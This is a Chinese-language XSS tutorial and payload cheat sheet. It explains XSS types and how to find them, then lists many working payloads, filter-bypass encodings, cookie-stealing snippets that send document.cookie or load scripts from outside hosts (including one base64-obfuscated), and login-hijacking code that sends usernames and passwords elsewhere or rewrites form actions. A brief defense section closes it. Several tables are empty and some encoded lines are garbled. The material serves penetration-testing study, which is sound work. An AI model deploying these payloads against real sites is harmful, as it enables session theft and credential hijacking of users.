定义
跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许攻击者将恶意代码注入到前端网页上,其他用户在浏览网页时就会执行恶意代码而受到影响。
[!NOTE]
跨站脚本本来的缩写为CSS,但为了与层叠样式表(Cascading Style Sheets,CSS)的缩写进行区分,因此将跨站脚本攻击缩写为XSS
[!TIP]
既然是代码注入,那肯定也是在某些地方执行了特定的代码
本质是攻击者在web页面插入恶意的script代码(这个代码可以是JS脚本、CSS样式或者其他意料之外的前端代码),当用户浏览该页面之时,嵌入其中的script代码会被执行,从而达到恶意攻击用户的目的。比如读取cookie,session,tokens,或者网站其他敏感的网站信息,对用户进行钓鱼欺诈等
[!NOTE]
多说一句,这个漏洞是客户端的问题,基本上对服务端不会造成影响,主要是影响客户端,也就是影响用户的漏洞
危害
-
盗取身份信息,窃取会话Cookie从而窃取网站用户隐私、包括账户、浏览历史、IP等 -
未授权操作,通过JS发起敏感操作请求 -
按键记录和钓鱼 -
更广泛的蠕虫传播,借助网站进行传播,使网站的使用用户受到攻击。 -
劫持用户会话,从而知悉任意操作,比如弹窗跳转、篡改页面、网页挂马。
-
获取敏感数据,如cookie、个人信息等 -
发起敏感操作,如修改密码、新建工单等
XSS分类
-
反射型XSS -
存储型XSS -
DOM型XSS
反射型XSS
-
攻击者将payload放置在url链接中(这是针对是GET型反射XSS) -
用户点击该恶意链接 -
web服务将XSS代码(JavaScript代码)以及视图返回给客户端 -
客户端解析视图以及XSS代码(JavaScript代码),并将执行结果发送到XSS平台 -
攻击者访问XSS平台,读取用户的敏感信息(Cookie)
存储型XSS
-
攻击者向web服务插入XSS代码 -
web服务会将其结果存储到数据库中 -
用户正常访问web服务 -
web服务将数据库的数据以及视图返回给前端,前端渲染视图并加载数据,其中数据里包含恶意XSS代码(JavaScript代码) -
客户端渲染视图,加载XSS代码,并向攻击者的web服务发送敏感信息 -
攻击者读取用户的敏感信息
DOM型XSS
-
攻击者将payload放置在url链接中(这是针对是GET型反射XSS) -
用户点击恶意链接,并打开浏览器 -
此时浏览器客户端并不会发起http请求到web服务,而是在浏览器客户端执行XSS(JavaScript代码) -
此时将XSS代码执行结果发送给攻击者的恶意服务 -
攻击者访问自己的XSS平台并读取用户的敏感信息
各XSS区别
基础对比
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
反射型XSS与DOM型XSS区别
XSS与CSRF的区别
|
|
---|---|
|
2、虽然经过后端,数据库(存储型),但主要需要客户端执行XSS代码,才能生效 3、DOM型XSS一定不经过后端,只是对浏览器客户端发起的攻击 4、XSS攻击针对的是用户层面的攻击 (攻击客户端) |
|
2、一定会经过后端处理,不然无法执行 3、CSRF是一种身份伪造攻击,来对服务器进行欺骗的一种攻击手法 |
XSS挖掘
黑盒测试
-
直接返回输入内容就可能存在反射型XSS -
在页面中进行特定渲染则可能存在DOM型XSS -
直接存储到数据库中则可能存在存储型XSS
-
当然这些都需要后期的二次确认
<script>
var imgErrorLen=0;
</script>
<input type="hidden" name="ie" value="utf-8">
可以维护一个XSS的Fuzz字典,这样可以快速辅助发现XSS漏洞,不需要一个一个手动去输入
白盒测试
-
PHP中常见的接收参数的方式有$_GET、$_POST、$_REQUEST等等,可以搜索所有接收参数的地方,然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。 -
也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。 -
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。 -
同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。
常见业务场景
-
重灾区:评论区、留言区、个人信息、订单信息等 -
针对型:站内信、网页即时通讯、私信、意见反馈 -
存在风险:搜索框、当前目录、图片属性、自定义头像链接等
常见Payload
速查表
-
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
探测器
'';!--"<h1>=&{()}</h1>
常用基础payload
基于标签
<--`<img/src=` onerror=confirm``> --!>
<Details Open OnToggle =cou006efirm`XSS`>
<SCRIPT SRC=http://damit5.kiwi/xss.js></SCRIPT>
<SVG ONLOAD=alert(1)>
<a href=1 onmouseover=alert(1)>nmask</a>
<a href="javascript:confirm('xxx')" target="_blank" rel="nofollow">你可以点击我触发</a>
<body onhashchange=a=alert,a(document.domain)> <!-- # http://xxx.xxx.xxx#123 http://xxx.xxx.xxx#124 触发 -->
<body/onpageshow=alert(1)>
<body onpageshow=alert(1)>
<details/open/ontoggle=top["al"+"ert"](1)>
<discard onbegin=[1].find(alert)>
<iframe src=javascript:alert(1)>
<img src/*sv=x */onerror=alert()>
<img src="X" onerror=(a=alert,b=document['x63x6fx6fx6bx69x65'],a(b))>
<img src="X" onerror=top[8680439..toString(30)](1337)>
<img src="x:alert" onerror="eval(src+'(0)')">
<img src=# onerror=a=alert,a(1)>
<img src=0 onerror=confirm('1')>
<img src=1 onmouseover=alert(1)>
<img src=x onerror=setInterval`alertx28document.domainx29`>
<img src=x onerror=setTimeout`alertx28document.cookiex29`>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img/src/onerror=alert(1)>
<input class="" name="roots" id="roots" type="text" value=1 onfocus=alert(11) autofocus=>
<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" /> <!--针对 hidden 的 input 标签,firefox下 shift+alt+X 成功-->
<input type=text autofocus/onfocus='prompt(1);'/>//
<marquee onstart=alert(1)>
<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<marquee loop=1 onFinish='alert(1)'>123</marquee> <!-- # 滚动标签 -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<script>a=prompt;a(1)</script>
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> <!--用分号,也可以分号+空格(回车一起使用)-->
<script>window.a==1?1:prompt(a=1)</script>
<svg/onload="[]['146151154164145162']['143157156163164162165143164157162']('141154145162164506151')()">
<svg/onload=[document.cookie].find(alert)>
<svg/onload=alert(1)>
<svg/onload=alert(1)>
<svg/onload=top['al145rt'](1)>
<svg/onload=top[/al/.source+/ert/.source](1)>
<x/oncut=alert(1)>a
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>
<svg><use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zdmc+#rectangle"/></svg>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
基于事件
onclick=document.write(document.cookie)
self[Object.keys(self)[5]]("foo") // alert("foo")
constructor.constructor(alert(1))
eval('alert(1)')
[1].find(alert);
[self.alert(1)]
top['alx65rt'](2);
top["al"+"ert"](3);
setTimeout('ale'+'rt(4)');
Function("ale"+"rt(5)")();
new Function`alert`6``;
setInterval('ale'+'rt(7)');
top[/al/.source+/ert/.source](9);
open('java'+'script:ale'+'rt(10)');
top[8680439..toString(30)](8); // 使用parseInt("alert",30)生成
self[9350252032..toString(30)](1) // confirm(1)
-
https://developer.mozilla.org/zh-CN/docs/Web/Events -
https://www.w3schools.cn/jsref/dom_obj_event.asp
基于伪协议
javascript://www.baidu.com/%E2%80%A8alert(1)
javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value
MarkDown XSS
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
<javascript:alert('XSS')>

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

...
XML XSS
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>
获取Cookie手法
<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="js地址"></img>
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8vNjYuMTEyLjIxMy43Njo4MS9CbHVlTG90dXNfWFNTUmVjZWl2ZXIvdGVtcGxhdGUvZGVmYXVsdC5qcyc='))>
<img src="x" onerror="$.getScript('http://x.xsslog.cn/xxxxx')"> <!-- 需要 jquery 的支持 -->
<img/src/onerror=this.src='//baidu.com/?'+document.cookie>
<!--# 分段构造-->
<img/src/onerror=a=document;>
<img/src/onerror=s=a.createElement('script');>
<img/src/onerror=body.appendChild(s);>
<img/src/onerror=s.src='https://vxss.cc/r7K6'>
<svg/onload="document.location='http://72sf9a.ceye.io/?'+document.cookie">
登陆劫持手法
输入就弹窗
<!-- 输入就弹窗,初始代码 -->
<input name="ccc" type="text" id="1" size="20" /><br />
<script>
var input = document.getElementById('1')
input.oninput = function(){
alert(input.value);
}
</script>
<!-- 输入就弹窗,缩一行 -->
<input name="ccc" type="text" id="xxx" size="20" /><br />
<svg/onload="var input = document.getElementById('xxx');input.oninput = function(){alert(input.value);}">
修改表单的action
<form action="xxx.php" method="post" id="sss">
<input type="text" name="xxx" id="xxx">
<input type="submit">
</form>
<svg/onload="var form1 = document.getElementById('sss');form1.action = 'http://127.0.0.1/out.php';">
<!-- 没有id 没有 name 可以通过 getElementsByTagName 来修改 -->
<svg/onload="var form1 = document.getElementsByTagName('form')[0];form1.action = 'http://127.0.0.1/out.php';">
跳转的登陆劫持
redirectUrl=javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value
获取敏感数据
发送xhr请求获取数据
# 纯js请求获取token -> 正则表达式
<script>
xhr=new XMLHttpRequest();
xhr.open("GET", "https://m.gm7.org/", true);
xhr.send();
alert("TOKEN Jacking"); //争取延时,readyState必须为4的时候才能获取源码,很烦
page = xhr.response;
var tk_regex=new RegExp("\"CSTK\":\".*?\"");
alert(tk_regex.exec(page)[0]);
</script>
获取当前页面源码
var xmlhttp;
if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else { // code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("POST", "http://dnslog.ceye.io/html_source", true);
xmlhttp.send(escape(document.location) + "=" + encodeURIComponent(document.getElementsByTagName('html')[0].innerHTML));
绕过
常规手法
-
编码 -
注释 -
大小写 -
双写 -
HPP参数污染 -
超长垃圾字符
通用编码手法
<svg/onload=alert(/xss/)>
<script>eval("u0061u006cu0065u0072u0074u0028u0031u0029")</script>
-
第一个,html实体编码,例如:alert() -
第二个,进制类,例如:x61x6cx65x72x74x60x78x73x73x60,某些时候,也有不带x,例如:5c6a -
第三个,Unicode,例如:u0061u006cu0065u0072u0074u0060u4e2du6587u4e5fu53efu4ee5u0060 -
第四个,纯转义,例如:' " < > ,这样的在特殊字符前加进行转义。
-
jsfuck:http://www.jsfuck.com/
-
jjencode
通过eval函数
<script>eval("x61x6cx65x72x74x28x27x78x78x78x78x27x29")</script>
# ASCII
<img src="javascript:alert(1)" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,122,122,39,41))>
# 其他
<script>eval(String.u0066u0072u006fu006du0043u0068u0061u0072u0043u006fu0064u0065(0x61,0x6c,0x65,0x72,0x74,0x28,0x31,0x29))</script>
绕过<过滤
<
%3C
%253C
%25253C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
x3c
x3C
u003c
u003C
绕过关键词过滤
document . cookie
document/*xxx*/./*xxx*/cookie
绕过空格过滤
<img st/**/src ="x"/**/onerror=alert(1)>
%0a
%0d
%09
%20
%00
绕过javascript过滤
javasrcript:self[Object.keys(self)[6]](sessionStorage.getItem('_diskSessionId'))//
// http://example.com/redirect?url=javascript:alert()
document.location = 'javasctript:alert(123)'
document.location = 'javascrript:alert(123)'
document.location = 'javascnript:alert(123)'
绕过括号()过滤
prompt`${document.cookie}`
window.onerror=alert;throw 1
<script type="text/javascript">window.onerror=alert;throw 1</script>
绕过长度限制
-
执行锚点后面的内容 location.hash -
使用 import('//domain/file'),这个需要使用同样的协议,加载的js的响应头中的content-type为application/javascript而且允许跨域加载Access-Control-Allow-Origin: * 参考文章 -
特殊的unicode字符:https://www.fuhaoku.net/danweifuhao/
利用JS全局变量绕过
-
全局变量
window
self
_self
this
top
parent
frames
-
一些payload,也可以参考 基于事件
window["document"]["cookie"]
window["alert"](window["document"]["cookie"])
self["alert"](self["document"/*xxx*/]["cookie"])
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
self["x61x6cx65x72x74"](self["x64x6fx63x75x6dx65x6ex74"]["x63x6fx6fx6bx69x65"])
self["x65x76x61x6c"](self["x61x74x6fx62"]("ZG9jdW1lbnQuY29va2ll"))
// Jquery
self["$"]["globalEval"]("alert(1)")
// 高级用法,不出现alert等关键词,遍历全局变量找到对应的函数
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; } // 先搜索到alert函数的id
self[Object.keys(self)[5]]("foo") // alert("foo")
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} // 正则表达式匹配出alert然后定义函数a为alert
self[Object.keys(self)[a()]]("foo")
-
字符串转16进制(x格式的)
import binascii
result = []
a = input("tt: ")
for i in a:
result.append(binascii.b2a_hex(i.encode()))
result = [i.decode() for i in result]
result = "\x".join(result)
print ("\x" + result)
常规防御
输入检查
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
-
如果数据类型为整型,则使用intval强制转换变量类型 -
如果用户输入是手机号,那么就需要判断是否是11位数字 -
如果数据内容为邮箱,则应使用正则取A-Za-z0-9.@-_范围内的值,其它字符则忽略掉
输出编码
-
URL编码 -
HTML编码 -
JavaScript编码
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
使用httponly
-
例如apache漏洞,默认用于状态代码400的错误应答存在缺陷,当没有配置定制ErrorDocument时利用此缺陷攻击者可以获得httpOnly cookie信息 -
开启TRACE协议
使用CSP
-
禁止加载外域代码,防止复杂的攻击逻辑。 -
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。 -
禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。 -
禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。 -
合理使用上报可以及时发现 XSS,利于尽快修复问题。
特殊防御
富文本编辑器XSS修复
-
设置标签白名单,如仅允许<a>、<img>等必须标签等 -
为白名单标签的属性设置白名单,如<a>仅允许使用href属性等,同时限制属性中的内容防止伪协议造成XSS漏洞,禁止出现on.*等事件属性
URL可控
<a href="{xss payload}">Test</a>
-
验证URL是否以http(s)://开头,如果不是则自动添加或拒绝请求,确保不会出现伪协议 -
对http(s)://后的内容进行URL编码处理
JSONP
Content-Type: application/json; charset=utf-8
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论